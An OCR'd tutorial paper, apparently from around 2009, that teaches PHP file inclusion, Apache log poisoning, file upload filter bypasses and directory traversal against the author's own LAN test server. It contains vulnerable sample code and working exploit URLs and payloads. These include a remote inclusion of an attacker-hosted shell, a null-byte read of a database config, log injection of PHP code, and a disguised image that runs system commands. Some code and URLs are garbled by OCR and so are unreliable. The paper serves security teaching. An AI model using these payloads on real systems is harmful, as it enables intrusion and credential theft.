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Introduction

"Never increase, beyond what is necessary, the number of words required to explain anything”

William of Ockham (1285-1349)

In this paper | will cover a small array of vulnerabilities that occur in PHP applications.

The vulnerabilities and the exploitation of them shown in this paper are the most common vulnerabilities that
you will find exploits for in the public domain.

As some people learn best by example, | use example vulnerable code and show exploitation of
vulnerabilities in PHP applications.

Real world examples of vulnerabilities in PHP software are also shown to educate the reader.

The server used for demonstration is this paper is a WAMP (Windows, Apache, MySQL, PHP) setup in my

small LAN, the specific details of which are listed below.

Keep in mind the examples in this paper are just examples intended to teach you the basics and is not

necessarily a reflection of real world exploitation.

Test Server Software:

Operating System: Windows XP x64
Database: MySQL 5.1

Web Server: Apache 2.2.0

PHP Version: 5.1.2
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File Inclusion Vulnerabilities

PHP File Inclusion Explained

What Is PHP File Inclusion?
PHP File Inclusion is done by functions that are a part of PHP (such as include(), include_once()) and allows
PHP to open other files for reading. In the case of using include(), the purpose is to reading a file containing

PHP code to be interpreted [and output].

An Example of PHP File Inclusion (TorrentTrader 2.04 index.php):

<?

//

/I TorrentTrader v2.x

/ This file was last updated: 20/July/2007
1

/! http://www.torrenttrader.org

1

/!

require_once("backend/functions.php");

The function used to include a file containing PHP code (functions.php located in /backend) is
require_once(). The require_once function is similar to require(), except that PHP will only include the file
once during the scripts execution. require() and other PHP functions that can open, read and interpret code

are documented later in this paper.

What Is The Use of File Inclusion In PHP?

The file inclusion showed above in TorrentTrader (PHP Torrent Tracker Software) is used so that the
index.php can have access to an array of functions contained inside functions.php.

When a file inclusion is done in PHP, the code included from the file will inherit the variable scope of the line

on which the inclusion occurs.
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register_globals Importance to Exploiting File Inclusions

What Is register_globals in PHP?

register_globals was disabled by default since the release of PHP 4.2.0 and has been DEPRECATED as of

PHP 5.3.0 and then was later removed with the release of PHP 6.0.0 for security reasons.

What is register_globals? register_globals is on option in PHP (php.ini) that allowed global variables to be

set with variables declared in a request (such as GET or POST.)

How can register_globals be misused?

Simply, register_globals can be abused by an attacker by allowing an attacker to set any variable they wish
(including request variables from HTML forms) in a request, which is exploitable if the variables are not

initialised.

Example of Misuse of register_globals

<?php
// lusercp/include/getfile.php
if(lisset($FilePath))

{

$FilePath = '/users/' . $_SESSION['Username'] . 'user.cfg';
}
include($FilePath);

Vulnerable code example is shown above (if register_globals = on)

Exploit: http://localhost/webApplication/usercp/include/getfile.php?$FilePath=[Local File Inclusion]
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allow_url_fopen Importance to Remote File Inclusions

Disabled in Installations by default since PHP 5.2.0

allow_url_fopen is an option in PHP (php.ini) that allows functions such as fopen(), include(), require() (any
function that has a URL aware wrapper) to read remote files over HTTP. To the attacker this simply means
whether or not you can exploit a file inclusion and include a file on a remote server, rather than just local.

If this option is enabled the attacker would be able to perform the following attack on the code above on this

page:

Exploitation Example:

http://localhost/webApplication/usercp/include/getfile.php?$FilePath=http://server.com/toolz/attackershell.php
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Exploiting Vulnerable Code
What Could We Do With a File Inclusion Exploit?

When exploiting a file inclusion vulnerability, the first thing you might consider (not so much any more) is
whether or not allow_url_fopen is enabled on the target server. If allow_url_fopen is enabled, it is more
than likely you will be able to include a remote file containing PHP code, most likely a PHP Shell (everyone's
favourite?). If this isn't the case because the administrator has disabled it or has left it disabled then only
Local File Inclusion is possible. Any file that you have access to (depending on restrictions) can be read,

including files that contain PHP locally and of course any PHP will be interpreted and executed.

Example of Exploiting Vulnerable Code

Example Vulnerable Code:

<?php

//Example.php

if (isset($_GET['Language']))

{
$language = $_GET['Language'];
else
$language = 'default’;

}

include('/configuration/' . $language . '.php");

Exploitation of File Inclusion via Inclusion of Sensitive Information:

Http://localhost/vulnerable_application/Example.php?Language=dbconfig.conf%00

dbconfig.conf is a configuration file that contains information to connect to the database for the application.
sensitive information will be displayed to the user through the application. This is just an example of

exploitation of a Local File Inclusion vulnerability, other files could be targeted of interest relating to the web
application or other web applications on the server. The use of Directory Traversal will most probably be

used to access files on the server.

Why The NULL %00 CHAR?

The NULL character is used so that the string Is truncated at the NULL character, since the point of injection

is not the end of the string, and “.conf” is appended.
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Technique: Apache Log Injection - LFI . Code Execution

How Does Apache Log “Poisoning” Work?

The logs we are looking to inject into are simply the Apache access logs. Web Server requests are stored in
this file. Obviously being that requests are stored in an access log by Apache, specially crafted requests can
“Poison” the Apache access logs.

What is meant by poison? Fill the logs with PHP Code (which is not meant to be in the logs) which can be

executed if a File Inclusion (or other vulnerability) is exploited.

What is URL Encoding?

Using URL Encoding means the replacement of characters outside of the ASCII character (0 to 255) set with
a “%" character followed by two hexadecimal digits that relate to the character values in the ISO-8859-1
character set.

“ n

This is done because URLs can only contain ASCII characters, although spaces can be replaced with “+”.
Examples:

NULL - %00
CR - %0D
LF - %0A

Performing the Log Injection

If we use a browser to try and poison the Apache logs, certain characters in our script will be URL encoded
and hence make the injection useless.

However the solution is simple, we can code a simple client in C/C++, PHP, Python, Perl, Ruby or any other
language of our choosing.

Or if we want to do this as quick as possible, we can simply fire up good old telnet.
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| establish the connection to the web server in my LAN and send my GET Request:

$ telnet 10.0.0.4 80

Trying 10.0.0.4...

Connected to 10.0.0.4.

Escape character is 'A]".

GET http://10.0.0.4/poison?code=<?php echo '<BR><BR><B>Apache Log Poisoning
Sucessful</B><BR>'; ?>

HTTP/1.1

User-Agent: ApacheLogPoisoning

Host: 10.0.0.4

Connection: close

HTTP/1.1 400 Bad Request

Date: Sat, 13 Jun 2009 11:11:00 GMT
Server: Apache/2.2.0 (Win32) PHP/5.1.2
Content-Length: 382

Connection: close

Content-Type: text/html; charset=is0-8859-1

Contents of \logs\access.log

10.0.0.9 - - [13/Jun/2009:11:11:00 +0800] "GET http://10.0.0.4/poison?code=<?php echo
'<BR><BR><B>Apache Log Poisoning Sucessful</B><BR>'; ?> " 400 382 "-" "-"

URL (GET Request):

http ://10.0.0. 4/LanguageFHeIncIudeVuIn php"language C: %5Capache2tr|ad%5CIogs%50access 0g%00

H & 5 » [ﬂ [:ﬂ #° |3 http:/f10.0.0.4/LanguageFilelncludeVuln.php?language=C:%5Capache2triad%5 Clogs%5Cacces v -

10.0.0.9 - - [14/Jun/2009:11:05:44 +0800] "GET http://10.0.0.4/poison?code=

Apache Log Poisoning Sucessful
" 400 382 "

& BH- Q100% v
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Exploitable PHP File Inclusion Functions

include()

Description:

include( string $filename )

Include() is a PHP function that will read a local or remote file and interpret it as PHP.

Files for including are first looked for in each include_path entry relative to the current working directory,
and then in the directory of current script. E.g. if your include_path is libraries, current working directory is
/www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in
/www/libraries/ and then in /www/include/. If filename begins with ./ or ../, it is looked for only in the current

working directory or parent of the current working directory, respectively.

include_once()

Description:

include_once( string $filename )

include_once() is a PHP function just like include() but only allows a file to be included once during the

scripts execution.

require()
Description:

require( string $filename )

The require() function in PHP is almost identical to include(), the difference is that require() will produce a

Fatal Error, not just a warning when an error occurs.

require_once()

Description:

require_once( string $filename )

Same difference between require_once() and require() as include_once and include().

fopen()
Description:

resource fopen( string $filename , string $mode [, bool $use_include_path [, resource $context ]])

If the string $filename is in the format "protocol://...", PHP will handle it as a URL and search for a protocol

handler.
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Vulnerable Code Examples

Line on which vulnerability occurs is highlighted in Red.

User input is highlighted in Blue.

MyPHPSite 1.3
http://www.myphpsite.org/

File: index.php

if (isset($mod)){

include ("include/modules/$mod.php");

} elseif ($art){

register_globals = on will need to be set (php.ini) for this to be exploitable, as $mod is not set with any
data from sent over HTTP, so a variable will need to be set with a request for exploitation. As register_globals

has been removed from PHP as of version 6.0.0. this will no longer be code vulnerable to exploitation.

My Simple Forum 3.0

http://www.drennansoft.com/index.php?freebie=msf

File: index.php

<?php

if(file_exists('site/".$_GET['action'].".php"))
{

include('site/".$_GET['action']..php");
} else {

>
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Mediatheka 4.2

http://www.hotscripts.com/Detailed/79106.html|

File: index.php

<?php
}

// Page de saisie du nom d'utilisateur et du mot de passe
else {

// Include language file
if(isset($_GET[lang']))
$lang = $_GET['lang'];
else
$lang = 'en’;
include("langs/$lang.php");

/I Define function for the history

include("langs/history_$lang.php");

PHPAddEdit 1.3

http://www.phpaddedit.com/

File: addedit-render.php

if (!$formname && $_GET["editform"])
$formname = $_GET["editform"];

if ( $error_message || $error || !$_POST["submitval"] )
{
include_once ($formname."-header.inc.php");
include_once ($addeditcwd."addedit-create-form.php");
include_once ($formname."-footer.inc.php");

}
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File Upload Vulnerabilities

What Is A File Upload Vulnerability?

The File Upload vulnerabilities | am referring to in this paper, are vulnerabilities in a PHP File Upload script.
There may be vulnerabilities in PHP applications that allow Arbitrary File Uploads. File Upload vulnerabilities
are generally found in File Upload scripts that do not do sufficient checking of what file(s) are uploaded and
stored on the server. For example there are File Upload scripts that do not check the file extension of the file

being uploaded. Meaning of course PHP or other code that can be interpreted/executed can be uploaded.

Arbitrary File Uploads
What is a Arbitrary File Upload Vulnerability?

A Vulnerability in a File Upload script that allows a user to upload Arbitrarily any file of their choosing to the
server. This obviously becomes quite a security risk, as files with scripts/code to be interpreted such as PHP,
Perl, Python could be uploaded to the server and then called via the web server. Allowing remote executing

of scripting on the server.

Why Do These Vulnerabilities Exist?

To put it simply, Arbitrary File Upload Vulnerabilities exist because the programmer does not do proper input
validation or there is no validation done. The type of file that is be to uploaded needs to be checked and also

it's extension as well. Arbitrary File Uplands are usually found where programmers have decided to create an

upload script with out security coming to their mind at all.
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An Example of Input Validation [Black Listing]:
$blacklistext = array(‘exe', 'php', 'pl', 'py', ");

$i=0;

$blacklisted = false;

$filename = $_FILES["uploadFile"]["name"];

$filenameinfo = pathinfo($filename);
$filename_exten = $filenameinfo["extension"];

while( $i <= 5)

{ if ( $filename_exten == $blacklistext[$i])
{ $blacklisted = true;
}
$i++;

}

if ( $blacklisted == false )
{

else

echo "Black Listed file extension: " . $filename_exten;
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Vulnerable Code Example:

The HTML File Upload Form below is used through out the paper, in each example the PHP file that is
POST to by the HTML Form is changed.

HTML Form Code:

<HTML>

<BODY>

<FORM ACTION="FileUpload.php" method="POST" enctype="multipart/form-data">
<label for="file">Filename:</label>

<INPUT TYPE="file" name="uploadFile"/>

<br/>

<INPUT TYPE="submit" name="uploadButton" value="Submit" />

</FORM>

</BODY>

</HTML>

FileUploadExample.php Code:
<?php

$uploadfile = "C:\\apache2triad\\htdocs\\" . basename($_FILES['uploadFile']['name']);

if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadfile)) {
echo "Fie Upload Successful.";

} else {
echo "Error Uploading File.";

}

>

The script above concatenates the Upload directory in my WAMP server with the filename of the uploaded
file one of the parameters needed for the File Upload and uploads it using the move_uploaded_file

function in PHP.

move_uploaded_file()

Description:

move_uploaded_file( string $tempdirfname , string $uploadfname )

Function used in PHP to do File Uploads, File is uploaded to a temporary directory and then moved to the

servers administrators chosen directory.
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Bypassing File Extension Checks

First | would like to say there are probably a couple of ways you can bypass the check of extensions. You

would be able to find some PHP applications that wouldn't do sufficient checking of the filename/path and

allow you to upload a file extension of your choice anyway (the attacker.)

Regardless of whether or not you are allowed to upload a file of your choice (webshell.php for example), we

can actually very easily upload PHP code to the server.

How can we do this you ask? Remembering that PHP read files and interprets any code within, regardless of

extension. We can simply put the PHP code inside a file with an extension of an image file. If the actual

content of the file isn't checked, this will of course work.

cat imagefile.jpg

File Edit View Terminal Tabs Help

j XGBBE0 BESUBL]EAE GNBE U T,z6 GBU6Ic [~]
MGBEGEERE t#: @8 )460°)
6BOEC BE766dIE, 6 GHUGHGE]GEGE v-BUBUBUGREEZOLEEMES 66" o6 kbj @]
PHELGBEWEBEOG-BEE X668 X8O n.BEBEG S GBO{GEWE §+66 B]Voee , B166#3GEENG (76 hE
G666 -BUBBCXBETE 6% T6Wz6 pj*BNGB G a«&(6=661UucMBBLEUAE ; 6+ BUBRUIGEE XBOE=qMBS4
GB660z=6Upel Bo6z# § 6. ©
el § 7666HEMGE KBOBENSOOBOO0E)

Gw>66~ SB & CSEBE THEBETNLI6US BENBOREG GSEBFBUGADEZGBEW GBmzE &6 #1weBBG[6: |F @
GBbzzE 6, 126+660 66mh(6z6z60H 6> " GOBI0GCHEEE B)6o Biz66 GiVe: 60 6 B kLmg
; 1GGOBOBCCNEBEID BBVT © -A. 6*+0066G B;60 'z

T LGR#SZ Gréé n nbeevewbee]6e v(
vio vEEBPEBoMBEGowW pb: bE'®

61)6586:6D06+6 BBB032WhEE~BE0H<630066E2, PEU-BWDE U GbBEZE] 68 v+0b wﬁ‘u‘@mcﬁvﬁ!ﬁt
kZbGbb G66E\U/636% 6 Q&
666 ] 15 6h000
6 *0 J% GE 6 Grleex ob 6 \P& H676(w/mE1WVEe KEBE
61 2GB66BoNGHE ]
GB\Z& B6(nS6]HIEG|BbG) 6] GREBETEEKD
(G(F*WE GOOGEG & GEhEBLBaBEm 66 =) GEBVBMBLIHEE  G6X)666PE

NGG GBkE- (666 G6EL xGHECHCKE DI0BBa<DEE B<LOBEBGUG- 18 [
618 ﬁr]ﬁﬁsm’vl 66 Z6i

KH| 46 &6BM, p#ROBvd : d&

QBB B6H TH BB-BBE\U. BB6\*83-53-m-eA[RZA] A.

1, «Xex L0V 7 pOUGHBLEGEIWEGEOWEZEY 7 \2TXB6aB6  v*E*§*G=0U-GVENDEH]6E  6:6)PGEE
GuBZ G[% o 1bo&)06*66"vS/~' b~ -CHBHLKOre6ex 66 666 I+*GPGLEZOGELGZOLRE 66 1 & [

.
o

As you can see above is the contents of an image file | have opened with cat. As many of you know if you

open a file with a text editor that does not contain text, you will usually get non-human readable characters.

We can put PHP code into the image file simply by piping text into it through the command line.

echo '<?php phpinfo(); ?>' > phpcodetobexecute.jpg
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Or you could use an editor such as Notepad (Windows) or pico (Linux) to delete all the information inside
and simply save only your PHP code. The above coded of course is just an example, usually would be after
obtaining a PHP Shell on the server.

We can then simply upload this file to a vulnerable File Upload script, one which does not check the MIME

type of the file, simply the file extension.
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Exploiting A Simple File Upload Script

What | am going to use for this example, is a very simple HTML Form that will POST to a PHP Script
(FileUpload.php) and upload a file. This File Upload script will check the extension of the file to make sure it
one of a small array[3] of image file types. It will not however check the MIME type of the file.

HTML Form Code:

<HTML>

<BODY>

<FORM ACTION="FileUploadExtCheck.php" method="POST" enctype="multipart/form-data">
<label for="file">Filename:</label>

<INPUT TYPE="file" name="uploadFile"/>

<br/>

<INPUT TYPE="submit" name="uploadButton" value="Submit" />

</FORM>

</BODY>

</HTML>

FileUpload.php Code:

<?php

$filename = $_FILES["uploadFile"]["name"];
$filenameinfo = pathinfo($filename);
$filename_exten = $filenameinfo['extension'];
$htdocspath = "C:\\apache2triad\\htdocs\\";

if (($filename_exten == 'jpg') || ($filename_exten == "jpeg’) ||
($filename_exten == 'gif"))

{
if ($_FILES["uploadFile"]["error"] > 0)
{
echo "Return Code: " . $_FILES["uploadFile"]["error"] . "<br />";
}
else
{

echo "Upload: " . $_FILES["uploadFile"]["name"] . "<br />";
echo "Type: " . $_FILES["uploadFile"]["type"] . "<br />";
echo "Size: " . ($_FILES["uploadFile"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["uploadFile"]["tmp_name"] . "<br />";
if (file_exists($htdocspath . $_FILES["uploadFile"]["name"]))
{
echo $_FILES["uploadFile"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["uploadFile"]["tmp_name"],
$htdocspath . $_FILES["uploadFile"][""name"]);
echo "Stored in: " . $htdocspath . $_FILES["uploadFile"]["name"];
}
}
}
else
{
echo "Invalid file type.";

}

>
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| have both the HTML Form and the PHP Script stored on a WAMP server in my small LAN.

| can load up the page using Opera (recommend it to you) so | can play around with the script.
Eile Edit View Bookmarks Widgets Tools Help

——————————————3
http://10.0.0.4/File.. — ©

4 & S » (% gy | http:10.0.0.4/FileUploadvulnScript/FileUpload.html v v
Filename: Choose...
Submii

S & [E - (Q100% v

If you look at the code (FileUpload.php) that this FORM POST's to you will see it allows 4 file extensions.

if (($filename_exten == "jpg) || ($filename_exten == 'jpeg") || ($filename_exten == 'gif") || ($filename_exten == 'png') )
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H & & B ‘ﬂ m #° |3 http://10.0.0.4/FileUploadVulnScript/FileUpload.php - -

Invalid file type.

- BH - S 100% v

“Invalid file extension” is echoed by the program, as planned by the programmer.

In order to bypass the file extension check we can upload a file with an accepted extension, containing PHP

code.

phpcodetobeexecuted.jpg:
<?php

phpinfo();

7>

Page 20



If we upload a copy of phpcodetobeexecuted.jpg, the server will accept the file and tell us it has been

uploaded and where it has been stored.

4 @ 5 B ‘ﬂ m #° 3 http://10.0.0.4/FileUploadVulnScript/FileUpload.php

Upload: phpcodetobeexecuted.jpg

Type: image/jpeg

Size: 0.138671875 Kb

Temp file: C:\apache2triad\temp\phpl10E.tmp

Stored in: C:\apache2triad\htdocs\phpcodetobeexecuted.jpg

B BH - | Q 100% ~

Although code was put in place to filter all extensions minus a small white list to prevent uploading of files

potentially dangerous, we were able to Upload a file containing PHP code.
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Bypassing MIME Type Check Validation

What is A MIME Type?

MIME stands for Multipurpose Internet Multimedia Extension.

MIME standards were first typically used for Emalil, but is now used to describe content type over protocols
such as HTTP.

MIME Headers:

MIME Version
MIME-Version: 1.0

Content Type

Content-Type: image/png

Content Disposition

Content-Disposition: attachment; filename=DC0011.png;
modification-date="Fri, 21 Dec 2012 11:11:00 -0000";

What If The MIME Type Is Used for Validation?

If A MIME Type of a File being Uploaded is validated it means, instead of checking the extension of the file to
see what type of file it is (which may not be accurate) the MIME Type of the file is checked. The problem is
the MIME Type of file is simply what is posted by the browser. Some browsers may even POST a MIME
Type simply because it relates to the files extension, no checking of the file type is actually done.

The client has control over the defined MIME Type of the file to be uploaded.
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PHPFileFakeMIME.jpg:
<?php

header('Content-Type: image/jpeg");
header('Content-Type: text/html");

//Just an example.
$output = system('help");

echo $output;

7>

You will notice in the code above (PHPFileFakeMIME.jpg) that the header() function is used twice. Once to
set an image/jpeg content type header and again for text/html. This is done so that PHP will see the file as

an example file, but at the same time will echo the output of the interpreted PHP code.

HTML Form Code:

<html>

<body>

<form action="FileUploadMIMECheck.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>

<input type="file" name="uploadFile" />

<br/>

<input type="submit" name="uploadButton" value="Submit" />

</form>

</body>

</html>

Page 23



FileUploadMIMECheck.php:

<?php

if (($_FILES["uploadFile"]["type"] == "image/gif") || ($_FILES["uploadFile"]["type"] == "image/jpeg") ||
($_FILES["uploadFile"]["type"] == "image/pjpeg") || ($_FILES["uploadFile"]["type"] == "image/png") )
{

if ($_FILES['uploadFile']['error'] > 0)

{
echo "Return Code: " . $_FILES['uploadFile']['error"'];
}
else
{
echo "File Upload Successful: " . $_FILES['uploadFile']['name'] . "<br>";
$temp_filename = $_FILES["uploadFile"]["tmp_name"];
$destination = "C:\\apache2triad\\htdocs\\" . $_FILES['uploadFile']['name'];
if (file_exists( "C:\\apache2triad\\htdocs\\" . $_FILES['uploadFile']['name'] ))
{
echo $_FILES['uploadFile']['name'] . " already exists.";
}
else
{
move_uploaded_file( $temp_filename, $destination );
echo "Stored in: " . $destination;
}
}
}
else
{
echo "Invalid File [MIME] Type or Error Uploading.";
}
>
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Using the File Upload script if we upload our PHPFileFakeMIME.jpg, the faked MIME Type in the Content

header will be accepted.

“ @ S » (%) [y [ http:10.0.0.4/FileUploadvulnScript/FileUploadMIMECheck.php = =

File Upload Successful: PHPFileFakeMIME .jpg
Stored in: C:\apache2triad\htdocs\PHPFileFakeMIME .jpg

8 BH - | Q 100% ~
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File Inclusion & File Upload Vulnerabilities

If a file with any extension containing PHP code is able to be uploaded, a Local File Inclusion exploit can

then be In a sense changed into a Remote Code Execution, and of course through PHP code execution

Remote Command Execution.

LanguageFileIncludeVuln.php:

<?php

if(isset($_GET['language']))
$language = $_GET]['language'];

include($language.'.php");

7>

Above is a vulnerable PHP Script (Local File Inclusion) that could be used to include PHPFileFakeMIME.jpg.

This of course could also be done with phpcodetobeexecuted.jpg to display the out of phpinfo().
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URL (GET Request):

http://10.0.0.4/LanguageFileIncludeVuln.php?language=C:%5Capache2triad%5Chtdocs
%5CFileUploadVuInScript%5CPHPFileFakeMIME.jpg%00

w http://10.0.0.4/LanguageFilelncludeVuln.php?language=C:%5Capache2triad%5Chtdocs%5CPHPFileFakeMIME.jpg®%00 - Opera
Eile Edit View Bookmarks Widgets Tools Help

H @ 5 » @ f_ﬂ #7 |3 http:/10.0.0.4/LanguageFileincludevuln.php?language=C:%5Capache2triad%5Chtdocs%5CPH R4

For more information on a specific command, type HELP command-name ASSOC Displays or modifies file extension
associations. ATTRIB Displays or changes file attributes. BREAK Sets or clears extended CTRL+C checking. BOOTCFG
Sets properties in boot.ini file to control boot loading. CACLS Displays or modifies access control lists (ACLs) of files.
CALL Calls one batch program from another. CD Displays the name of or changes the current directory. CHCP Displays
or sets the active code page number. CHDIR Displays the name of or changes the current directory. CHKDSK Checks a
disk and displays a status report. CHKNTFS Displays or modifies the checking of disk at boot time. CLS Clears the screen.
CMD Starts a new instance of the Windows command interpreter. COLOR Sets the default console foreground and
background colors. COMP Compares the contents of two filgs or sets of files. COMPACT Displays or alters the
compression of files on NTFS partitions. CONVERT Converts FAT volumes to NTFS. You cannot convert the current drive.
COPY Copies one or more files to another location. DATE Displays or sets the date. DEL Deletes one or more files. DIR
Displays a list of files and subdirectories in a directory. DISKCOMP Compares the contents of two floppy disks. DISKCOPY &
Copies the contents of one floppy disk to another. DISKPART Displays or configures Disk Partition properties. DOSKEY
Edits command lines, recalls Windows commands, and creates macros. DRIVERQUERY Displays current device driver
status and properties. ECHO Displays messages, or turns command echoing on or off. ENDLOCAL Ends localization of
environment changes in a batch file. ERASE Deletes one or more files. EVENTQUERY Displays event log entries for
specified criteria. EXIT Quits the CMD.EXE program (command interpreter). FC Compares two files or sets of files, and
displays the differences between them. FIND Searches for a text string in a file or files. FINDSTR Searches for strings in
files. FOR Runs a specified command for each file in a set of files. FORMAT Formats a disk for use with Windows. FSUTIL
Displays or configures the file system properties. FTYPE Displays or modifies file types used in file extension associations.
GOTO Directs the Windows command interpreter to a labeled line in a batch program. GPRESULT Displays Group Policy
information for machine or user. GRAFTABL Enables Windows to display an extended character set in graphics mode.
HELP Provides Help information for Windows commands. IF Performs conditional processing in batch programs. LABEL
Creates, changes, or deletes the volume label of a disk. MD Creates a directory. MKDIR Creates a directory. MODE
Configures a system device. MORE Displays output one screen at a time. MOVE Moves one or more files from one
directory to another directory. OPENFILES Displays files opened by remote users for a file share. PAGEFILECONFIG
Displays or configqures Pagefile properties. PATH Displays or sets a search path for executable files. PAUSE Suspends
processing of a batch file and displays a message. POPD Restores the previous value of the current directory saved by
PUSHD. PRINT Prints a text file. PROMPT Changes the Windows command prompt. PUSHD Saves the current directory
then changes it. RD Removes a directory. RECOVER Recovers readable information from a bad or defective disk. REM
Records comments (remarks) in batch files or CONFIG.SYS. REN Renames a file or files. RENAME Renames a file or files. .

8 BN - QL 100% v
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Bypassing Image File Check Validation

When creating a File Upload script in PHP the programmer will usually use a more effective way of validating
safe File Uploads than the examples above. The programmer might decide that using a function such as
getimagesize() in PHP can be used to validate whether or not the file is an image file or not. The function
will return an array of information relating to the image file such as it's height and width, this can be used to
validate whether or not a file even with a misleading extension is really an image.

Below is the FileUploadExtCheck.php file modified to check whether or not the file is an image.
FileUploadExtimageCheck.php Code:

if (!getimagesize($_FILES['uploadFile']['tmp_name']))

{
echo "File has valid extension, but does not appear to be an image.\n";
echo "May be an attempt to upload code to the server.";
exit();

}

If we attempt to upload a copy of PHPFileFakeMIME.jpg even though the extension and MIME Type

Header were forged the script should not accept the file as a valid image file.

File Edit View Bookmarks Widgets Tools Help

http://10.0.0.4/File... =

4 4« 9 » %) [y 3 http:r10.0.0.4/FileUploadVulnScript/FileUploadExtimageCheck.php - v

File has valid extension, but does not appear to be an image. May be an attempt to upload code to the server.

@ BH- O 100% =
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Knowing that we have to have a valid file extension as well as the file being considered a valid image makes
it hard. Of course that is what you would think at first. It just so happens that there is actually a simple way to

bypass both of these measures used to try and ensure files uploaded aren't of a malicious nature.

if (($filename_exten == "jpg) || ($filename_exten == 'jpeg") || ($filename_exten == 'gif") || ($filename_exten == 'png') )

How could we create a valid jpg/jpeg, gif or png that contains PHP code?

The Solution - Image Comments

Many applications for creating graphics allow you to create image comments. You can use GIMP Image

Editor to edit comments of a GIF file for example. Simply open GIMP and File - New

Set the image size and click OK.

{»

Termplate:

Image Size
width: |11 =
Height: | pixels E

11 = 11 pixels
(8] [a P

72 ppi, RGE colour

[* Advanced Options

3 Help o/ Reset egancel QBQK

R
.

Select GIF as the file type, give your file a filename and hit save, you then will be enter your PHP code as the

image comment.
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b

GIF Options
Interlace

GIF comment: <7?php phpinfol);
echo "\n\nExample of Image File Check Bypass.";
7=

P 507
) Help @Qancel ‘ 7| Save

If we open the GIF image file using a program which can read text such as cat, we can see the contents of

the image file we created.

File Edit Wiew Terminal Tabs Help

Our PHP Code which the image comment contained is stored as plain text within the GIF Image file.
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File Edit View Bookmarks Widgets Tools Help

R X ﬁ
http:/f10.0.0.4/File..— @

« @ 3 » (4 (g #° 3 http://10.0.0.4/FileUploadVulnScript/FileUploadExtimageCheck.php - -

File Upload Successful: phpcodeimagefile.gif
Stored in: C:\apache2triad\htdocs\FileUploadVulnScript\upload\phpcodeimagefile.gif

B BH - Q 100% v

URL (GET Request):

http://10.0.0.4/FileInclusionVuln/LanguageFilelncludeVuln.php?language=..%5CFileUploadVulnScript
%5Cupload%5Cphpcodeimagefile.gif%600

We traverse up one directory and then go down two nodes in the directory structure into the upload folder to

include our image file which contains PHP code.
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Eile Edit View Bookmarks Widgets Tools Help

“« & S5 » (%) l!] #" |3 http://10.0.0.4/FileinclusionVuln/LanguageFilelncludeVuln.php?language=..%5CFileUploadVuln »

X

“phpinfol} 'O

Ei
foe;

L' PRULESSUK IVUENIIFIER ]

_ENV["PROCESSOR_LEVEL"]

15

_ENV["PROCESSOR_REVISION"]

4b02

_ENVI["ProgramFiles"]

C:\Program Files (x86)

_ENV["ProgramFiles(x86)"]

C:\Program Files (x86)

_ENV["ProgramW6432"]

C:\Program Files

_ENV["QTJAVA"]

C:\Program Files (x86)\|ava\jrel.6.0_03\lib\ext\QT]ava.zip

_ENV["SystemDrive"]

C:

_ENV["SystemRoot"]

CAWINDOWS

_ENVI["TEMP"] CAWINDOWS\TEMP

_ENV["TMP"] CAWINDOWS\TEMP
_ENV["USERPROFILE"] C:\Documents and Settings\Default User
_ENV["windir"] CAWINDOWS
_ENV["AP_PARENT_PID"] 1256

PHP License

PURPOSE.

This program is free software; you can redistribute it and/or modify it under the terms of the PHP
License as published by the PHP Group and included in the distribution in the file: LICENSE

This pregram is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR

If you did not receive a copy of the PHP license, or have any questions about PHP licensing,
please contact license@php.net.

Example of Image File Check Bypass.,

90
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Disk File Read/Write Vulnerabilities

Disk File 1/0 In PHP

PHP File Output Explained

PHP File I/O is very much like C.
Although PHP does actually have a simple function that can be used to read the contents of a file in just one

line of code.

‘ file( string $filename, int $flags, resource $context )

Or

‘ readfile( string $filename, [$include_path], [$context]

file() reads the input into an array, while readfile() reads the into a buffer.

Usually though the file is opened with fopen() and then handled like in the example below:
<?php

$filehdl = fopen("config.cfg", "w+");

while(!feof($filehdl))
{

}

echo fgets($filehdl);

fclose($filehdl);

>

Functions such as fread() can be used also when wanting to read from an open file.
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PHP File Input Explained

Just like with File Output, File Input is done by using a single function provided by PHP or by opening the file

and then reading it with the function appropriate for what you are wanting to do.

<?php

$filehdl = fopen("config.cfg", "w+");
$server = “server: “ . “localhost\n”;
$port = “port: “ . “8080”;
fwrite($filehdl , $server);
fwrite($filehdl, $port);

fclose($filehdl);

?>
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Exploiting File Read Vulnerabilities

With PHP File Read vulnerabilities the input the user would select or the application would allow would
probably for the filename or the complete file path. Of course if this is from user input other files on the

system could possibly be read if a vulnerability were exploited.

Directory Traversal

What Is Directory Traversal?

Directory Traversal is simply going from through a file system from one folder to enough. In Windows and
UNIX operating systems a single dot is used to relate to the current working directory and two dotes denotes
the parent folder of the current working directory. Both of these can be part of a filepath meaning when what
ever function goes to use the filepath it will traverse upwards through the file system if you have /../ as part of

the filepath, for each of with one folder traversed.

Linux and Windows Directory Traversal

When doing Directory Traversal on different operating systems it must be remembered that the file system is
different. This of course may mean that based upon the operating system a program may be located deeper
within the folder structure of the file system and of course in a different location.

Windows uses a backward slash \ to denote different folder in the file system, while in Linux/Unix it is a
forward slash /. If you know the absolute path of your target file on the target file system then you might as
well use many \..\ to ensure traversing the complete way up the file system.

Linux Directory Traversal: /../../..[../

Windows Directory Traversal: \..\.\..\.\
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What Can Directory Traversal Be Used For?

Directory Traversal as far as exploiting PHP Applications can be used to traverse upwards through the folder
file system. In PHP Applications directory traversal is usually exploitable when part of a filepath (usually the
filename) is from user input, the the attacker is able to traverse up through the hard coded directories and
then into directories and then finally the file the attacker is after. Specific files in the file system containing
sensitive information (such as configuration files) are usually targeted. Files containing an attackers PHP

code may also be a target if the text to be read is later to be interpreted by PHP.

Directory Traversal Used To Access File Containing PHP Code

http://server.com/file.php?name=\..\..\upload\phpcodetobeexecuted.jpg

The above example would traverse up two directories then into the upload folder and then to the file.
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Below is an example of a File Read Vulnerability in PHP, remembering this is just is an example as not
all File Read Vulnerabilities will involve the application outputting what is being read. This looks similar to a
File Inclusion Vulnerability, remembering in a real world situation File Reads in PHP are used to read

information into variable(s) that are used for many purposes.

PHPFileReadVuln.php
<?php

$template = $_GET['template'];
$currentdir = getcwd();

echo $currentdir . "\\templates\\" . $template . "</BR>";

if( ($filehdl = fopen($currentdir . "\\templates\\" . $template, "r")) )

{
while(!feof($filehdl))
{
echo fgets($filehdl);
}
fclose($filehdl);
